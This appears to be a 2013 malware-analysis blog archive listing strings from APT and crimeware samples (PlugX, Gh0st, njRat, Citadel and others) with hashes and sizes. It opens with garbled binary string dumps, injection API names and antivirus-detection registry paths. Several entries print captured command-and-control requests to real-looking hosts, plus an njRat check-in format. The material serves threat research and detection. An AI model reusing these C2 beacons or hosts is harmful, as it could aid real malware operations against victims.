-------------snip
[-~[}
%TX,I_
ZcZTR
[Tb]TPyXH
vZTJ@W[WHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHRH8
Z\[K
ZP&Z\(Z\8Z\
Z\dZ\DZ\rZ\[|b{XX
ZTHZP
UDZ\jZ\
Z\[x
ZD[Px]
ZPZ_P[z
ZQPMZQ[t
VhZCX8
Zx[p
ZP[D_\Z
\C[t[\
Vh[E
[p`ZP[D
_@[t[\
Vh[x+
[T[\
L[P[}Z\
ZT:*X"&
Rp~J8jJZFW[XXG
 XX[
1*,-94
*==X
XX=,
<<*=++XX
1:*9*!
XX/Y
7<-4=
96<4=ZL-_
=*+176XX
4==(XvX
47+^nX
kjv<44XXaZ
=Xx,
=*.1;=
,9,-Z"YZXy
=?1+,=*^A
,*4],*
^#*X
Z/;+,75:Z>
+,*6;(!X
\mXPH
Z>KWXWY
161,Z
PXZ59]
9<2-+,
r1.M
{t_\
KP8XX
ZPXX
.;07+,\5^
[91Ju]
W^WHWHWHWHVHSoftwa
re\rar
WYWHWHWHWHWHWHWHWH
XWHWHWHWHWHWHZH
*=9,=
0Z_<K{
=*6=4
[JW\WHWHWH
SWHWHWHWHWHWHWHWH^H
ZSYhOhXX
heisj
j9j,j#jXX
jZkXXBk~k
kXlXXPlWlNlxl
luljl`lXXel
l8l5l,l
m9mXX?m*m'm
mWnynXD%n
|Z[X8hXX0h
h\iHi
iZzW[WHWHWHWHWHWHWHWH
[WHWHWHWHWHWHWHWHWHWHXXXXX
>=>>>:Z\
ZPEX[[~[]W\WH?>>0!
jVWM
NLQYLXX_S
]_PPQJ
LKPXX
SQZ[
334Z\
HZH!vh
ZPxIz
J~\H
Jp\p
\pu\X]+\@
M9Zh
ZPlW]V[4^'>XHn{>>r?<>
5?8]W
ZP.ZQ[\>>
.ZZ>><M`ZNL
[P>.]M
ZKZiZ[[k\l]JZ^][
?>j?]TW^
?>v)\RW]WHUHZ,&;UKSV
Z_J_ZI&
Z%Zt>
ZP{]ZL_[z\X
L[RQ]>>
#ZNZ
> ZP
ZtZ__[Zp|_TWPWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWH
Z\FZ\TZ\hZ\xZ\
Z\0Z\
Z\nZ\VZ\@Z\
?>(Z\
Z\rZ\2hZZ\FZ\
?>~Z\[T
},DZ4jZ\
Z\TZ\
Z\~[
Z\[t
pZ\VZ\HZ\
Z`Z\
Z\zZ\dZ\VZ\
Z\tZ\ZZ\DZ\
?> Z\
Z|VZPDZ\
[TZ\
?>$Z\
Z\lZd
Z\VZ\DZ\
Z\LZ\ZZ\hZ\
JxZ\
Z\xZ\h
Zt$Z\:Z\
Z\JZ\ZZ\K
rVZ\FZ\
?>2Z\(Z\
Z\~Z\vZ\
nZ\dZ\ZZ\PZ\
Z\FZH[
ZDJZ\[T
Z\[D
ZP&Z\6Z\jZ\
]zZ\
Z@[|
?>lZ\`Z\
Z\NZ\\
=Z\nZ\|Z\
Z\ Z\RZp
ZPDZ\^Z\rZ\
Z\0Z\
Z\BZ\XZ\jZ\xZ\
Z<@Z\
Z\*ZD
Z\*j<
Z\.Z@$Z\
ZH4ZxKX
JT[P
J46JL
ZTtZ\bZ\LZ\
Z@[l:
QZ\MZ\K
ZP4Z\5Z\
7ZP6Z\+Z\
3ZP*
2ZT1Z\,Z\
.Z\>Z\
Z\[L[\
>Z#[RYXQ\
JSN>>x>L>W>[X
>P>Z>R>G>p>_>SZH[r
YyZD_>\ZZ[ZR[J>>
}ZhN>J
M>KZz[>
ZRbZ\
fZ_>*4>kP
[TWPZ[F+
IJBYXZPmQXJI_L[bsW]LQMYXZVbwPJ[LP[J
{FNRQPXL[L\JRRWxQLSMbmJQXXL_Y[
~_\]Z[XYVWXXTURSPQNOLMJKHIFG
XDec`a^WGQGEBC@A>>mX
[z[\KYnLWHWR[Y[Z
mvwxj
r^NZ@iZ
G]rZL}R[_L
Z\cZ\
2CZ\BZ\eZ\EZ\^Z\@Z\
raZP
mXXJ_LJ
NNRW]_JWQP
[([`WDZD
QD[R[]J
s[@^ZW_^M^hs_WR^JZ
nR_G
x[n_KM[WtQNTJ[tL[HWQK
jL_]UQ
p[FJWLhQR
^HzQIP]JZ
PsKJ[PL|LJ
XvQZ
_xx_HQLWJ[
Q@mJ']V[
[iPhz
Qtl[
NXL[M\uTtz
T@|Q
hYVJ
{pk[{>
r[X_W}hzqdXipZ
}lqrr
rq}uy
pks_U
m[N_L
_j8]
hZ\j'>
}QSNJ
>NxczA\LtWCJtv{rl(PPz{r[
wpm{lj[S>
nlXZwpj
m}l{{J
{f{}`Pkj{[E]DZ
m{r{}]h
vqs[u
{pz]l
n[Tm
>Zt{m}\|}P
rZt}H}r{
lZ$j
|\l|L
>3:]34P
X]LG
ZDM[|
]}LGNX
J[Zu[G
t>oo
Zc>]PJ
>{ZWJZg>w{
KJQI
Tmqxji
[dH@h[LM
M9W[:_U_HH\
[F[ZxRQ_Z
J_NJ
X_ZRR
[LLQ<=LS]M>qKJRX
avjjn[<QL
PLYT[D
n_MMIQLZZ}\Hm[LH
klr[
UhkM[[)Q
W<PL[DS<\H]<P8[LZ'>[P
\nqnk
L[}L[_XJJ[wPMJ_P]L
LL_LG
>RN>
^pZFWpUpA
[PChmsjDXn
Nh\D^T
]]QKPJ
{S_WRZ%Z
[tZW>[PO
Z:`:
MM_YWPY
mXxK\MGMJ[SbnLQX*
W`XJb_`pjb}KLL[PJ~
GPBs[W
>>{4,
iPL^
Wt$\h{x^
[h[L[
ZZ*Fz
.s_P_Y
>kln
g8` SL[$KLW,Z,qXXW][bZv[
W&>>
xW[RZM>VJJNM
]Z_>
mJLz
>]_w
mWYPKX
ZDanmjql{Z
FZMZ[@{
ZIR[p[I\Oh
kPWP
fWYWHWHWHWHWHWHWH
(WHWHWHWHWHWHWHZH[M[J
O@MVQ[
UL,\VOPWWxPA^Q{m{jzdRJ:
^BW_WH]HW
]~W^QH'
!JKN
|Oz,{
MbXHE
}XXx
Q}WRWHWHRH
RU\Svu\_W]WHO'WHWHPHhltH
^KW_VH
]?ZL
c;=Z_\T[PIZYmgmZ_
K[KW\WHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
YWHWHWHWHWHWHWHWHWH>mqxji
XXl{bsW]LQMQXJb
]JXXWH[
m[JKNbwPMJ_RXXR[Z
}QSNQP[PJMbEXX
XX}x
-------------------------snip
VwZt
i:&mv]v
mvri=
0>Z
n`YLQ]
]xJVnm[`zrr>X>wZ
Pz]P[J}V[]U}QPPJL*+
Jlwp{j\8
RIL>
QI{F][N
3>0j
JGN[z;XQ~~k
{~fj
>WYWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWH_H
Z.>>2ZT"
>~PX>>
>^>>
>>nXX>>>A
>>b?>>
 XP>>5
)zx!
zdXX
z>XX
>>&j
ZXJj>
JVIj,
$J^M
KN>>
>>:?>>
j0YXk>
CYXj
VJH=
xYYJ^
>[[>
_zFXX
8zFq
hjN`
ZHjJ
 >?kW>EZ
>.?>Jz
zX+>re
Zxm:hO
mzt_
zbXZn
>>xX>
?>rJ,2
?>"J
z0~?
EY\j
n?>Z
'I]*4
4IXZ
\LJLD
jJZR
>^?>yPJ
>N?>2YY
5Y]j
sJb@
@YXj
JT4XH
8xPT
?>^Z<
?>bJ
jPW[WHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWH
WHWHWHWHWHWHWHWHWHWHWHWHWHWHWHWHXX>>>>>>>
I7TS
[ba^
WriteProcessMemory
VirtualAllocEx
kernel32.dll
VirtualAlloc
GetProcAddress
GetModuleHandleA
VirtualProtect
LoadLibraryA
VirtualFree
SOFTWARE\KasperskyLab\AVP6\environment
ProductRoot
SOFTWARE\KasperskyLab\protected\AVP9\settings
Ins_ProductPath
\UIFramework\uiWinMgr.exe
SOFTWARE\TrendMicro\Vizor
ProductPath
Kernel32.dll
\avp.exe
\klwtblfs.exe
SOFTWARE\KasperskyLab\protected\AVP12\environment
\wmifw.exe
ReadProcessMemory
CreateThread
Sleep
GetThreadContext
CreateProcessA
%SystemRoot%\System32\svchost.exe
Shlwapi.dll
SHGetValueA
VirtualProtectEx
%temp%\tmp092.tmp
ExpandEnvironmentStringsA
Software\rar
data
\fxsst.dll
%SystemRoot%
wwwwwx
wwwwx
wwwwwwwx
wwwwww

Unicode Strings:
---------------------------------------------------------------------------
IZQD
3$wG
IDI_ICON5

Page / Elise / lStudio / stscout / Wumins strings - APT

File: msgsm.exe
MD5:  aaf73666cbd750ed22b80ed836d2b1e4
Size: 68608

Ascii Strings:

GET /29af9cdc/page_12082223.html HTTP/1.1
Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: gorush.dyndns-web.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache



Tijcont strings - CRIME

File: Tijcont
MD5:  845b0945d5fe0e0aaa16234dc21484e0
Size: 475152


Dark Comet strings - APT

File: DarkKomet_DC98ABBA995771480AECF4769A88756E.exe_
MD5:  dc98abba995771480aecf4769a88756e
Size: 656896



GET /a.php?id=c2ViYWxpQGxpYmVyby5pdA== HTTP/1.1
Host: [ip.address]

Kelihos strings - CRIME

File: Kelihos_C94DC5C9BB7B99658C275B7337C64B33
MD5:  c94dc5c9bb7b99658c275b7337c64b33
Size: 1220125



Tuesday, September 3, 2013

PlugX strings - APT

File: hkcmd.exe
MD5:  23f2c3dbdb65c898a11e7f4ddc598a10
Size: 173592




PlugX dropper strings - APT

File: DW20.exe
MD5:  2ff2d518313475a612f095dd863c8aea
Size: 305709




Surtr (Smoaler) Strings - APT

File: DW20.dll
MD5:  1325ec00149cd2dd9a2982769f1fa12a
Size: 39936




TBD 8202 strings - APT

File: DW20.dll
MD5:
064ae9b451f0503982842c9f41a58053
Size: 60416

Ascii Strings:


Surtr (Smoaler) strings - APT

File: DW20.dll
MD5:  8e187ae152c48099f715af442339c340
Size: 44032




Taidoor strings - APT

File: DW20.exe
MD5:  46ef9b0f1419e26f2f37d9d3495c499f
Size: 47104

Ascii Strings:


Mongall strings - APT

File: DW20.exe
MD5:  d7dd5cda909190c6c03db5e7f8afd721
Size: 24576


GET /3000FC08000024FE0700363635353544304331303530313136300052656D6F746520504300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000070161646D696E000000000000000000000000000000000000000000000000000000000000000000000000 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: www.ndbssh.com:5331
Cache-Control: no-cache:



Gh0st hgif strings - APT

File: DW20.exe
MD5:  5d2a996e66369c93f9e0bdade6ac5299
Size: 102400

GET /h.gif?pid =113&v=130586214568 HTTP/1.1
Accept: */*
Accept-Language: en-us
Pragma: no-cache
User-Agent: Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1)
Connection: Keep-Alive


Monday, September 2, 2013

Vidgrab strings - APT

File: DW20.exe
MD5:  588d3316d4bbfdbb25658d436f06ed96
Size: 118784




Thursday, August 22, 2013

njRat / Backdoor.LV strings - APT



C2 checkin
lv|'|'|TndfQzQyNjRFQkI=|'|'|VICTIM|'|'|Examiner|'|'|2013-06-21|'|'|USA|'|'|Win XP ProfessionalSP2 x86|'|'|No|'|'|0.5.0E|'|'|..|'|'|Y3B0YnRfUHJvY2Vzc19SZWdpc3RyeV9GaWxlX0luZm8ubG9nIC0gTm90ZXB hZA==|'|'|[endof]act|'|'| Y3B0YnRfUHJvY2Vzc19SZWdpc3RyeV9GaWxlX0luZm8ubG9nIC0gTm90ZXBhZA==

File: njRAt_1D3BAEDD747F6F9BF92C81EB9F63B34B
MD5:  1d3baedd747f6f9bf92c81eb9f63b34b
Size: 110080





Wednesday, August 21, 2013

Refeys.A strings - CRIME

Traffic

POST /sys.php HTTP/1.0
Host: rxform.org
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6
Referer:  http://www.gmail.com
Content-length: 112



File: Refeys.A_BEDE0DA1ABC1122ACF8AF91F6D6B289F.exe_
MD5:  bede0da1abc1122acf8af91f6d6b289f
Size: 58880

Monday, August 19, 2013

Nitedrem strings - CRIME

MD5:  508af8c499102ad2ebc1a83fdbcefecb
Size: 147456





Saturday, August 17, 2013

Sality strings - CRIME

File: sality
MD5:  ceaf4d9e1f408299144e75d7f29c1810
Size: 997537




Friday, August 16, 2013

Chebri.C strings - CRIME

File: Chebri_B605C8E99315C330A015F36DE2A870EE
MD5:  b605c8e99315c330a015f36de2a870ee
Size: 8704




Torpig miniloader strings - CRIME

File: Torpig miniloader_0F82964CF39056402EE2DE9193635B34
MD5:  0f82964cf39056402ee2de9193635b34
Size: 242688




Monday, August 12, 2013

Coswid strings - APT

File: D62CD4AD2A919B6ACFA6D49D446DFFDB_svchost.exe_
MD5:  d62cd4ad2a919b6acfa6d49d446dffdb
Size: 19968

see md5 other below


COOKIES Cookiebag Dalbot strings - APT (2)

File: COOKIEBAG_sample_543E03CC5872E9ED870B2D64363F518B
MD5:  543e03cc5872e9ed870b2d64363f518b
Size: 126976




COOKIES Cookiebag Dalbot strings - APT (1)

File: COOKIEBAG_sample_0C28AD34F90950BC784339EC9F50D288
MD5:  0c28ad34f90950bc784339ec9f50d288
Size: 151552




Citadel 1.3.5.1 strings - CRIME (2)

File: Citadel1.3.5.1_296DA66E2F5239F9AF433C1EFBCDC079
MD5:  296da66e2f5239f9af433c1efbcdc079
Size: 276992




Citadel 1.3.5.1 strings - CRIME (1)

File: Citadel1.3.5.1_439333E63DD1DCA5C23653BDBD740CFC
MD5:  439333e63dd1dca5c23653bdbd740cfc
Size: 245568




Beebus Warp strings - APT

File: Beebus_WARP_D7EC457BE3FAD8057580E07CAE74BECB
MD5:  d7ec457be3fad8057580e07cae74becb
Size: 80896




WEBC2-RAVE strings - APT

File: WEBC2-RAVE_sample_BF0EE4367EA32F8E3B911C304258E439
MD5:  bf0ee4367ea32f8e3b911c304258e439
Size: 13824

scroll for #2  WEBC2-RAVE_sample_438983192903F3FECF77500A39459EE6